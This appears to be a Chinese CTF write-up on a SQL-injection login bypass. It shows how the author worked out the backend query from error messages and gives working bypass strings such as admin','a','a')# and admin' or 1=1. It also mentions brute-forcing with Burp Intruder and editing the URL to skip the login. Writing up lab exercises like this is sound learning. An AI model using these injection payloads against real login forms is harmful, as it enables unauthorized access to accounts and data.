总结:正经解决这题的途径思路是,一种是像我这样尝试然后去找规律 猜测sql语句【ps:猜过一次后,记住思路,下次猜就会快很多了】,一种是收集万能口令的字典然后去跑字典一个一个试,具体操作是拿到靠谱的词典,然后burp抓包,然后用intruter模块去爆破
题外话:遇到困难和问题啊,我该想的不仅仅只是通过它,还要去思考原理,就比方这题,就是通过很快,思考却要很久,这题的解法,我在csnd上是暂时还没有看到和我一样思路的,所以如果我有什么错误希望大伙能沟通交流一下【c2FuIGxpYW4gcWl1cWl1bGFRQVE=】
思路:痛苦的时光总是漫长的,一开始在思考,为什么这题能值三颗星5个币,后来吧,确实好像是卡住了,但一搜就知道答案了,输入 admin','a','a')# 和任意密码就完事了,甚至还有更简单的方法去绕过,就是输入任意密码和账号,然后进入报错页面,把no.php 的no 换成yes就能直接绕过
但是让人好奇的是,为什么是这样的语句才绕过了,和我之前在DVWA上学习的 admin‘ or 1=1 --' 有什么区别,然后吧,我就进入一段尝试的时间
账号 | 密码 | 输入提示 | 输入提示 |
admin' | asd | 'a','a') | and password='asd'' |
'admin' | asd | 'admin'','a','a') | 同上 |
'admin--+ | asd | 'admin--+','a','a') | 同上 |
admin'# | asd | ‘’ | (空) |
admin','a','a')# | asd | 通过 |
通过以上尝试我有了点思绪,然后我想到DVWA的绕过(已知账号是admin),当时学习是用 admin ' or 1=1 --'
当时面的的语句是
select * from where user='xxx' and passwor='xxx'
select * from where user='admin'or 1=1--'' and passwor='xxx'
然后我看着源码用 admin'# 也成功绕过
select * from where user='admin'#' and passwor='xxx'
我们观察一下,那就是说我们闭合了单引号而且用#过滤了后面的语句,因此思路打开了一些
大胆猜测一下该题的语句【这里username在原本的数据库中的内容应该为(admin,a,a)】
select * from user where username=('xxxx','a','a') and passwor='xxx'
为什么我要这么猜,因为通过报错部分一直有 ‘a’,'a')猜测的,且只有不满足username条件的部分才会被回显报错,像正确部分admin是不会回显的
那么既然猜测已经出来了,我们就分别把对于的例子放上去看看结果和报错是否相同
当xxx= admin‘ 时
select * from user where (admin,a,a)=('admin'','a','a') and passwor='asd'
select * from user where (admin,a,a)=('admin'','a','a') and passwor='asd'
发现,闭合了红色部分和绿色部分,然后剩下的紫色部分发现了闭合的错误即程序看不懂了这段代码,哪段?这段 ' a','a') and passwor='asd'' 【这里最外面的 ’ ‘ 是为了部分扩出报错部分】,这么一看是不是就对上了
很好那终于终于探索到了sql的语句
那既然探索除了正确的语句,那看着语句来绕过,那还不容易吗
那不就是答案 admin','a','a')#【既闭合了单引号,又闭合了括号,同时注释了后面的部分】
select * from user where (admin,a,a)=('admin','a','a')#','a','a') and passwor='asd'
那不就绕过了!!!!!!【这里还需要注意账号构造出了,但是密码不能为空,因为会错,我猜测是后面的源码还有检测密码是否为空的,如果为空就直接错,这样才能解释,用例子4时,会报错 '' ,也许大概】